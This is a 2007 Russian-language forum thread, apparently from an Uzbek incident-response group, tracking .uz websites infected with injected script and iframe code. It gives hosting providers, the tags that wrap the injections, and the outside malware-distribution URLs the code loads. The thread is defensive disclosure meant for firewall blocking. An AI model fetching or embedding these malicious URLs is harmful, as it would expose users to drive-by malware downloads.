gki-rk.uz - Хостинг: MCHOST (RU)
in.uz
inkompress.uz
intek.uz
intereng.uz - Хостинг: ISP "Sharq Telekom"
irmoq.uz
kamini.uz - Хостинг: Sarkor-Telecom
kmn.uz
kniga.uz
lodging.uz - Хостинг: California Regional Intranet, Inc. (US)
madrasa.uz - Хостинг: ISP "Ars-Inform"
maxima.uz - Хостинг: ISP "Ars-Inform"
mikrokreditbank.uz
minzdr.uz
monitoring.uz
muslim.uz - Хостинг: ISP "Ars-Inform"
n1.uz
osiyomedika.uz
ozmc.uz - Хостинг: ISP "Sharq Telekom"
parfumgallery.uz - Хостинг: Sarkor-Telecom
poedem.uz - Хостинг: APS Telecom (US)
rcc-namangan.uz
rentme.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.
roboclean.uz - Хостинг: DREAMHOST (US)
seek.uz
shosh.uz - Хостинг: California Regional Intranet, Inc. (US)
sogdamarket.uz - Хостинг: Global Net Access, LLC (US)
surf.uz
tennis.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
tmt.uz
tohtaniyoz-ota.uz - Хостинг: ISP "Ars-Inform"
tstu.uz - Хостинг: ISP "Ars-Inform"
tzmk.uz - Хостинг: iPowerWeb, Inc. (US)
uzlimo.uz - Хостинг: AttractSoft (DE)
uzross.uz - Хостинг: iPowerWeb, Inc. (US)
zarduz.uz
zk.uz

Eldar Ishimbaev
29.10.2007, 14:17
Список на сегодняшний день (Всего:51 Новых:2):

mingbulak.connect.uz
roller.sarkor.uz
admiral.uz
aks.uz - Хостинг: DREAMHOST (US)
alutex.uz - Хостинг: SHARQ-TELEKOM
ankariya.uz
artstar.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.
artvision.uz
asg.uz
beksoft.uz - Хостинг: ISP "Ars-Inform"
bbd.uz
bm.uz
bsm.uz
chelsea.uz
elt.uz
fiml.uz
gamma-elektro.uz
gki-rk.uz - Хостинг: MCHOST (RU)
in.uz
inkompress.uz
intek.uz
intereng.uz - Хостинг: ISP "Sharq Telekom"
irmoq.uz
kamini.uz - Хостинг: Sarkor-Telecom
kmn.uz
kniga.uz - Хостинг:Net Access Corporation (US)
lodging.uz - Хостинг: California Regional Intranet, Inc. (US)
madrasa.uz - Хостинг: ISP "Ars-Inform"
maxima.uz - Хостинг: ISP "Ars-Inform"
mikrokreditbank.uz
minzdr.uz
monitoring.uz
muslim.uz - Хостинг: ISP "Ars-Inform"
n1.uz
osiyomedika.uz
ozmc.uz - Хостинг: ISP "Sharq Telekom"
parfumgallery.uz - Хостинг: Sarkor-Telecom
poedem.uz - Хостинг: APS Telecom (US)
rcc-namangan.uz
rentme.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.
roboclean.uz - Хостинг: DREAMHOST (US)
seek.uz
shosh.uz - Хостинг: California Regional Intranet, Inc. (US)
sogdamarket.uz - Хостинг: Global Net Access, LLC (US)
surf.uz
tennis.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
tmt.uz
tohtaniyoz-ota.uz - Хостинг: ISP "Ars-Inform"
tstu.uz - Хостинг: ISP "Ars-Inform"
tzmk.uz - Хостинг: iPowerWeb, Inc. (US)
uzlimo.uz - Хостинг: AttractSoft (DE)
uzross.uz - Хостинг: iPowerWeb, Inc. (US)
zarduz.uz
zk.uz

Dmitry Paleev
29.10.2007, 14:31
На веб-сайте hттp://www.kniga.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script> вредоносный код </script>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: hттp://trffc.org/tds/index.php

Хостинг: Net Access Corporation (US)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
29.10.2007, 14:35
На веб-сайте hттp://www.alutex.uz были обнаружены коды, загружающие на компьютер вредоносное ПО.

Коды находятся между тегами <!--[o65]--> вредоносный код <!--[c65]--> и <!-- 9d7960725a51ff4c07d4d967b60e560f -->вредоносный код <!--/-->

Внедрены они в 2 местах в файле index.

Первая вредоносная ссылка: hттp://ltraffic.biz/resource.php

Вторая вредоносная ссылка: http://465db0813ea3095e2acbecf18dceb3ba.cyb3rz.org/505/Xp/

Хостинг: SHARQ-TELEKOM

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносные ссылки.

Dmitry Paleev
30.10.2007, 12:56
На веб-сайте hттp://www.samgasi.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://zenux.info/info/index.php

Хостинг: UZSCINET

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
30.10.2007, 13:21
На веб-сайте hттp://www.tc.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!-- cdbdb450fb4405e46a29997f1399a578 --><script> вредоносный код </script>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://a1376115d12d98e8e7dd11b8b1ae48b4.cyb3rz.org/505/Xp/

Хостинг: Strato Rechenzentrum, Berlin (DE)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
30.10.2007, 13:23
На веб-сайте hттp://www.asterix.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!-- c3679b844fd4f9f30035dd8fe4b7cb69 --><script> вредоносный код </script>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://cyb3rz.org/505/Xp/

Хостинг: Strato Rechenzentrum, Berlin (DE)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
30.10.2007, 13:24
На веб-сайте hттp://www.arktika.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!-- ce4d612e5f67382b9dd0e7b6b12cfad8 --><script> вредоносный код </script>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://cyb3rz.org/505/Xp/

Хостинг: Strato Rechenzentrum, Berlin (DE)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Eldar Ishimbaev
30.10.2007, 13:42
Список на сегодняшний день (Всего:55 Новых:4):

mingbulak.connect.uz
roller.sarkor.uz
admiral.uz
aks.uz - Хостинг: DREAMHOST (US)
alutex.uz- Хостинг: SHARQ-TELEKOM
ankariya.uz
arktika.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
artstar.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.
artvision.uz
asg.uz
asterix.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
beksoft.uz - Хостинг: ISP "Ars-Inform"
bbd.uz
bm.uz
bsm.uz
chelsea.uz
elt.uz
fiml.uz
gamma-elektro.uz
gki-rk.uz - Хостинг: MCHOST (RU)
in.uz
inkompress.uz
intek.uz
intereng.uz - Хостинг: ISP "Sharq Telekom"
irmoq.uz
kamini.uz - Хостинг: Sarkor-Telecom
kmn.uz
kniga.uz - Хостинг:Net Access Corporation (US)
lodging.uz - Хостинг: California Regional Intranet, Inc. (US)
madrasa.uz - Хостинг: ISP "Ars-Inform"
maxima.uz - Хостинг: ISP "Ars-Inform"
mikrokreditbank.uz
minzdr.uz
monitoring.uz
muslim.uz - Хостинг: ISP "Ars-Inform"
n1.uz
osiyomedika.uz
ozmc.uz - Хостинг: ISP "Sharq Telekom"
parfumgallery.uz - Хостинг: Sarkor-Telecom
poedem.uz - Хостинг: APS Telecom (US)
rcc-namangan.uz
rentme.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.
roboclean.uz - Хостинг: DREAMHOST (US)
samgasi.uz - Хостинг: UZSCINET
seek.uz
shosh.uz - Хостинг: California Regional Intranet, Inc. (US)
sogdamarket.uz - Хостинг: Global Net Access, LLC (US)
surf.uz
tmt.uz
tohtaniyoz-ota.uz - Хостинг: ISP "Ars-Inform"
tc.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
tstu.uz - Хостинг: ISP "Ars-Inform"
tzmk.uz - Хостинг: iPowerWeb, Inc. (US)
uzlimo.uz - Хостинг: AttractSoft (DE)
uzross.uz - Хостинг: iPowerWeb, Inc. (US)
zk.uz

Eldar Ishimbaev
31.10.2007, 11:05
Список на сегодняшний день (Всего:53):

mingbulak.connect.uz
roller.sarkor.uz
admiral.uz
aks.uz - Хостинг: DREAMHOST (US)
alutex.uz- Хостинг: SHARQ-TELEKOM
ankariya.uz
arktika.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
artstar.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.
artvision.uz
asg.uz
asterix.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
beksoft.uz - Хостинг: ISP "Ars-Inform"
bbd.uz
bm.uz
bsm.uz
chelsea.uz
elt.uz
fiml.uz
gamma-elektro.uz
gki-rk.uz - Хостинг: MCHOST (RU)
in.uz
inkompress.uz
intek.uz
intereng.uz - Хостинг: ISP "Sharq Telekom"
irmoq.uz
kamini.uz - Хостинг: Sarkor-Telecom
kmn.uz
kniga.uz - Хостинг:Net Access Corporation (US)
lodging.uz - Хостинг: California Regional Intranet, Inc. (US)
madrasa.uz - Хостинг: ISP "Ars-Inform"
maxima.uz - Хостинг: ISP "Ars-Inform"
mikrokreditbank.uz
minzdr.uz
monitoring.uz
muslim.uz - Хостинг: ISP "Ars-Inform"
n1.uz
osiyomedika.uz
ozmc.uz - Хостинг: ISP "Sharq Telekom"
parfumgallery.uz - Хостинг: Sarkor-Telecom
poedem.uz - Хостинг: APS Telecom (US)
rcc-namangan.uz
rentme.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.
roboclean.uz - Хостинг: DREAMHOST (US)
samgasi.uz - Хостинг: UZSCINET
seek.uz
shosh.uz - Хостинг: California Regional Intranet, Inc. (US)
sogdamarket.uz - Хостинг: Global Net Access, LLC (US)
surf.uz
tmt.uz
tohtaniyoz-ota.uz - Хостинг: ISP "Ars-Inform"
tc.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
tstu.uz - Хостинг: ISP "Ars-Inform"
tzmk.uz - Хостинг: iPowerWeb, Inc. (US)
uzlimo.uz - Хостинг: AttractSoft (DE)
uzross.uz - Хостинг: iPowerWeb, Inc. (US)
zk.uz

Dmitry Paleev
01.11.2007, 12:08
На веб-сайте hттp://www.pharmi.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://elenakozhevnikova.com/English/f/old/index.php

Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
01.11.2007, 12:44
На веб-сайте hттp://www.neurology.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!-- cdeaa3bd4bc7159f3f6049710c2d6646 --> вредоносный код </script>

Внедрена она в 4 местах в файле index.

Вредоносная ссылка: http://3c7ac7f1736baf38a63193f6900166aa.cyb3rz.org/505/Xp/

Хостинг: California Regional Intranet, Inc. (US)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Eldar Ishimbaev
01.11.2007, 13:56
Список на сегодняшний день (Всего:57 Новых:3):

mingbulak.connect.uz - Хостинг: UZSCINET (UZ)
roller.sarkor.uz - Хостинг: Sarkor-Telecom (UZ)
tashkent.sarkor.uz - Хостинг: Sarkor-Telecom (UZ)
admiral.uz - Хостинг: Billur.NET (UZ)
aks.uz - Хостинг: DREAMHOST (US)
alutex.uz- Хостинг: SHARQ-TELEKOM (UZ)
ankariya.uz - Хостинг: Billur.NET (UZ)
arktika.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
artstar.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
artvision.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
asg.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
asterix.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
beksoft.uz - Хостинг: ISP "Ars-Inform" (UZ)
bbd.uz - Хостинг: Billur.NET (UZ)
bm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
bsm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
chelsea.uz - Хостинг: IPLUS (UZ)
elt.uz - Хостинг: Liquid Web, Inc. (US)
fiml.uz - Домен не активен
gamma-elektro.uz - Хостинг: Billur.NET (UZ)
gki-rk.uz - Хостинг: MCHOST (RU)
in.uz - Хостинг: ARBATEK (RU)
inkompress.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
intek.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
intereng.uz - Хостинг: ISP "Sharq Telekom" (UZ)
irmoq.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
kamini.uz - Хостинг: Sarkor-Telecom (UZ)
kmn.uz - Хостинг: Liquid Web, Inc. (US)
kniga.uz - Хостинг: Net Access Corporation (US)
lodging.uz - Хостинг: California Regional Intranet, Inc. (US)
madrasa.uz - Хостинг: ISP "Ars-Inform" (UZ)
maxima.uz - Хостинг: ISP "Ars-Inform" (UZ)
mikrokreditbank.uz - Хостинг: Billur.NET (UZ)
minzdr.uz - Хостинг: ISP "Sharq Telekom" (UZ)
monitoring.uz - Хостинг: ISP "Sharq Telekom" (UZ)
muslim.uz - Хостинг: ISP "Ars-Inform" (UZ)
n1.uz - Хостинг: AGAVA (RU)
neurology.uz - Хостинг: California Regional Intranet, Inc. (US)
osiyomedika.uz - Домен не активен
parfumgallery.uz - Хостинг: Sarkor-Telecom (UZ)
pharmi.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
poedem.uz - Хостинг: APS Telecom (US)
rcc-namangan.uz - Хостинг: Sarkor-Telecom (UZ)
rentme.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
roboclean.uz - Хостинг: DREAMHOST (US)
samgasi.uz - Хостинг: UZSCINET (UZ)
seek.uz - Хостинг: TEXNOPROSISTEM (UZ)
shosh.uz - Хостинг: California Regional Intranet, Inc. (US)
sogdamarket.uz - Хостинг: Global Net Access, LLC (US)
surf.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
tmt.uz - Хостинг: Liquid Web, Inc. (US)
tohtaniyoz-ota.uz - Хостинг: ISP "Ars-Inform" (UZ)
tc.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
tstu.uz - Хостинг: ISP "Ars-Inform" (UZ)
tzmk.uz - Хостинг: iPowerWeb, Inc. (US)
uzross.uz - Хостинг: iPowerWeb, Inc. (US)
zk.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)

Размещенных в Узбекистане: 34
Размещенных зарубежом: 21

Djalolatdin Rakhimov
01.11.2007, 14:09
Размещенных в Узбекистане: 34 Размещенных за рубежом: 21 Я бы еще добавил ТОП-5 хостеров

Eldar Ishimbaev
03.11.2007, 13:16
Список на сегодняшний день (Всего:55):

mingbulak.connect.uz - Хостинг: UZSCINET (UZ)
roller.sarkor.uz - Хостинг: Sarkor-Telecom (UZ)
tashkent.sarkor.uz - Хостинг: Sarkor-Telecom (UZ)
admiral.uz - Хостинг: Billur.NET (UZ)
aks.uz - Хостинг: DREAMHOST (US)
alutex.uz- Хостинг: SHARQ-TELEKOM (UZ)
ankariya.uz - Хостинг: Billur.NET (UZ)
arktika.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
artstar.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
artvision.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
asg.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
asterix.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
beksoft.uz - Хостинг: ISP "Ars-Inform" (UZ)
bbd.uz - Хостинг: Billur.NET (UZ)
bm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
bsm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
chelsea.uz - Хостинг: IPLUS (UZ)
elt.uz - Хостинг: Liquid Web, Inc. (US)
fiml.uz - Домен не активен
gamma-elektro.uz - Хостинг: Billur.NET (UZ)
gki-rk.uz - Хостинг: MCHOST (RU)
in.uz - Хостинг: ARBATEK (RU)
inkompress.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
intek.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
intereng.uz - Хостинг: ISP "Sharq Telekom" (UZ)
irmoq.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
kamini.uz - Хостинг: Sarkor-Telecom (UZ)
kmn.uz - Хостинг: Liquid Web, Inc. (US)
kniga.uz - Хостинг: Net Access Corporation (US)
lodging.uz - Хостинг: California Regional Intranet, Inc. (US)
madrasa.uz - Хостинг: ISP "Ars-Inform" (UZ)
maxima.uz - Хостинг: ISP "Ars-Inform" (UZ)
mikrokreditbank.uz - Хостинг: Billur.NET (UZ)
minzdr.uz - Хостинг: ISP "Sharq Telekom" (UZ)
monitoring.uz - Хостинг: ISP "Sharq Telekom" (UZ)
muslim.uz - Хостинг: ISP "Ars-Inform" (UZ)
n1.uz - Хостинг: AGAVA (RU)
neurology.uz - Хостинг: California Regional Intranet, Inc. (US)
osiyomedika.uz - Домен не активен
parfumgallery.uz - Хостинг: Sarkor-Telecom (UZ)
pharmi.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
poedem.uz - Хостинг: APS Telecom (US)
rcc-namangan.uz - Хостинг: Sarkor-Telecom (UZ)
rentme.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
roboclean.uz - Хостинг:DREAMHOST (US)
samgasi.uz - Хостинг: UZSCINET (UZ)
seek.uz - Хостинг: TEXNOPROSISTEM (UZ)
shosh.uz - Хостинг: California Regional Intranet, Inc. (US)
sogdamarket.uz - Хостинг: Global Net Access, LLC (US)
surf.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
tmt.uz - Хостинг: Liquid Web, Inc. (US)
tohtaniyoz-ota.uz - Хостинг: ISP "Ars-Inform" (UZ)
tc.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
tstu.uz - Хостинг: ISP "Ars-Inform" (UZ)
tzmk.uz - Хостинг: iPowerWeb, Inc. (US)
uzross.uz - Хостинг: iPowerWeb, Inc. (US)
zk.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)

Размещенных в Узбекистане: 33
Размещенных зарубежом: 20

Dmitry Paleev
06.11.2007, 15:34
На веб-сайте hттp://www.mvd.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://58.65.239.138/sobchak/file.php

Вирус: Win32/TrojanDownloader.Nurech.NCD

Хостинг: ISP "Sharq Telekom" (UZ)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
06.11.2007, 17:12
Список на сегодняшний день (Зараженных: 38 Новых: 1 Излеченных: 9):

mingbulak.connect.uz - Хостинг: UZSCINET (UZ)
roller.sarkor.uz - Хостинг: Sarkor-Telecom (UZ)
tashkent.sarkor.uz - Хостинг: Sarkor-Telecom (UZ)
admiral.uz - Хостинг: Billur.NET (UZ)
aks.uz - Хостинг: DREAMHOST (US)
alutex.uz- Хостинг: ISP "Sharq Telekom" (UZ)
ankariya.uz - Сайт недоступен
arktika.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
artstar.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
artvision.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
asg.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
asterix.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
beksoft.uz - Хостинг: ISP "Ars-Inform" (UZ)
bbd.uz - Хостинг: Billur.NET (UZ)
bm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
bsm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
chelsea.uz - Хостинг: IPLUS (UZ)
elt.uz - Хостинг: Liquid Web, Inc. (US)
fiml.uz - Сайт недоступен
gamma-elektro.uz - Сайт недоступен
gki-rk.uz - Хостинг: MCHOST (RU)
in.uz - Хостинг: ARBATEK (RU)
inkompress.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
intek.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
intereng.uz - Хостинг: ISP "Sharq Telekom" (UZ)
irmoq.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
kamini.uz - Хостинг: Sarkor-Telecom (UZ)
kmn.uz - Хостинг: Liquid Web, Inc. (US)
kniga.uz - Хостинг: Net Access Corporation (US)
lodging.uz - Сайт недоступен
madrasa.uz - Сайт недоступен
maxima.uz - Сайт недоступен
minzdr.uz - Хостинг: ISP "Sharq Telekom" (UZ)
monitoring.uz - Хостинг: ISP "Sharq Telekom" (UZ)
muslim.uz - Хостинг: ISP "Ars-Inform" (UZ)
mvd.uz - Хостинг: ISP "Sharq Telekom" (UZ)
n1.uz - Хостинг: AGAVA (RU)
neurology.uz - Хостинг: California Regional Intranet, Inc. (US)
osiyomedika.uz - Сайт недоступен
parfumgallery.uz - Хостинг: Sarkor-Telecom (UZ)
pharmi.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
poedem.uz - Хостинг: APS Telecom (US)
rcc-namangan.uz - Сайт недоступен
rentme.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
samgasi.uz - Хостинг: UZSCINET (UZ)
seek.uz - Хостинг: TEXNOPROSISTEM (UZ)
shosh.uz - Хостинг: California Regional Intranet, Inc. (US)
sogdamarket.uz - Хостинг: Global Net Access, LLC (US)
surf.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
tmt.uz - Хостинг: Liquid Web, Inc. (US)
tohtaniyoz-ota.uz - Хостинг: ISP "Ars-Inform" (UZ)
tc.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
tstu.uz - Хостинг: ISP "Ars-Inform" (UZ)
tzmk.uz - Хостинг: iPowerWeb, Inc. (US)
uzross.uz - Сайт недоступен
zk.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)

Размещенных в Узбекистане: 24
Размещенных зарубежом: 14

Eldar Ishimbaev
08.11.2007, 14:27
Список на сегодняшний день (Зараженных: 38 Новых: 2 Излеченных: 1):

mingbulak.connect.uz - Хостинг: UZSCINET (UZ)
roller.sarkor.uz - Хостинг: Sarkor-Telecom (UZ)
tashkent.sarkor.uz - Хостинг: Sarkor-Telecom (UZ)
admiral.uz - Хостинг: Billur.NET (UZ)
alutex.uz- Хостинг: ISP "Sharq Telekom" (UZ)
ankariya.uz - Сайт недоступен
arktika.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
artstar.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
artvision.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
asterix.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
beksoft.uz - Сайт недоступен
bbd.uz - Хостинг: Billur.NET (UZ)
bm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
bsm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
chelsea.uz - Хостинг: IPLUS (UZ)
elt.uz - Хостинг: Liquid Web, Inc. (US)
fiml.uz - Сайт недоступен
gamma-elektro.uz - Сайт недоступен
in.uz - Хостинг: ARBATEK (RU)
inkompress.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
intek.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
kamini.uz - Хостинг: Sarkor-Telecom (UZ)
kmn.uz - Хостинг: Liquid Web, Inc. (US)
kniga.uz - Хостинг: Net Access Corporation (US)
lodging.uz - Сайт недоступен
madrasa.uz - Сайт недоступен
maxima.uz - Сайт недоступен
minzdr.uz - Хостинг: ISP "Sharq Telekom" (UZ)
monitoring.uz - Хостинг: ISP "Sharq Telekom" (UZ)
muslim.uz - Хостинг: ISP "Ars-Inform" (UZ)
mvd.uz - Хостинг: ISP "Sharq Telekom" (UZ)
neurology.uz - Хостинг: California Regional Intranet, Inc. (US)
osiyomedika.uz - Сайт недоступен
parfumgallery.uz - Хостинг: Sarkor-Telecom (UZ)
poedem.uz - Хостинг: APS Telecom (US)
programmist.uz - Хостинг:ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
rcc-namangan.uz - Хостинг:Sarkor-Telecom
samgasi.uz - Хостинг: UZSCINET (UZ)
seek.uz - Хостинг: TEXNOPROSISTEM (UZ)
shosh.uz - Хостинг: California Regional Intranet, Inc. (US)
sogdamarket.uz - Хостинг: Global Net Access, LLC (US)
surf.uz - Сайт недоступен
tmt.uz - Хостинг: Liquid Web, Inc. (US)
tohtaniyoz-ota.uz - Хостинг: ISP "Ars-Inform" (UZ)
tc.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
tstu.uz - Хостинг: ISP "Ars-Inform" (UZ)
yoshlik.uz - Хостинг: SHARQ-TELEKOM (UZ)
zk.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)

Размещенных в Узбекистане: 24
Размещенных зарубежом: 14

Djalolatdin Rakhimov
08.11.2007, 16:14
Сайт недоступен Не выделяйте это жирным. Жирным только новые "поступления"

Dmitry Paleev
08.11.2007, 17:55
На веб-сайте hттp://www.yoshlik.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script> вредоносный код </script>

Внедрен он в 2 местах в файле index.

Первая вредоносная ссылка: http://updatez.info/etc/tds.php

Вторая вредоносная ссылка: http://stock-stats.info/private_forum/index.php

Хостинг: ISP "Sharq Telekom"

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносные ссылки.

Dmitry Paleev
08.11.2007, 18:28
На веб-сайте hттp://www.vesti.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script> вредоносный код </script>

Внедрен он в одном месте в файле index.

Первая вредоносная ссылка: http://www.sutraonline.info/fir/load.php
Вторая вредоносная ссылка: http://www.serbitoname.info/sas/load.php

Хостинг: ISP "Albatros"

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносные ссылки.

Dmitry Paleev
08.11.2007, 18:29
На веб-сайте hттp://www.btbm.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script> вредоносный код </script>

Внедрен он в одном месте в файле index.

Первая вредоносная ссылка: http://www.traffmaster.biz/traff.php
Вторая вредоносная ссылка: http://de-my-page.info/nnm2/exe.php

Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносные ссылки.

Dmitry Paleev
08.11.2007, 18:33
На веб-сайте hттp://www.flat.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!-- ~ --> вредоносный код <!-- ~ -->

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://fen0men.info/exp/index.php

Хостинг: ELTEL (RU)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
08.11.2007, 18:38
На веб-сайте hттp://www.polygon.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script> вредоносный код </script>

Внедрен он в одном месте в файле index.

Первая вредоносная ссылка: http://www.traffmaster.biz/traff.php
Вторая вредоносная ссылка: http://de-my-page.info/nnm2/exe.php

Хостинг: Net Access Corporation (US)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносные ссылки.

Dmitry Paleev
08.11.2007, 18:42
На веб-сайте hттp://www.programmist.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script> вредоносный код </script>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://www.stock-stats.info/private_forum/index.php

Хостинг: ISP Amaliy Aloqalar Biznesi Ltd.

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
08.11.2007, 18:46
На веб-сайте hттp://www.neoscan.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script> вредоносный код </script>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://c5bad26ebcbd0c31.08e6f99013f6be98.drivers.aero4.cn/x86/

Хостинг: ISP Sarkor-Telecom

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
08.11.2007, 19:09
На веб-сайте hттp://www.makizbaraka.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script> вредоносный код </script>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://www.thetds.biz/tds/iframe.php

Хостинг: Billur.NET

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Eldar Ishimbaev
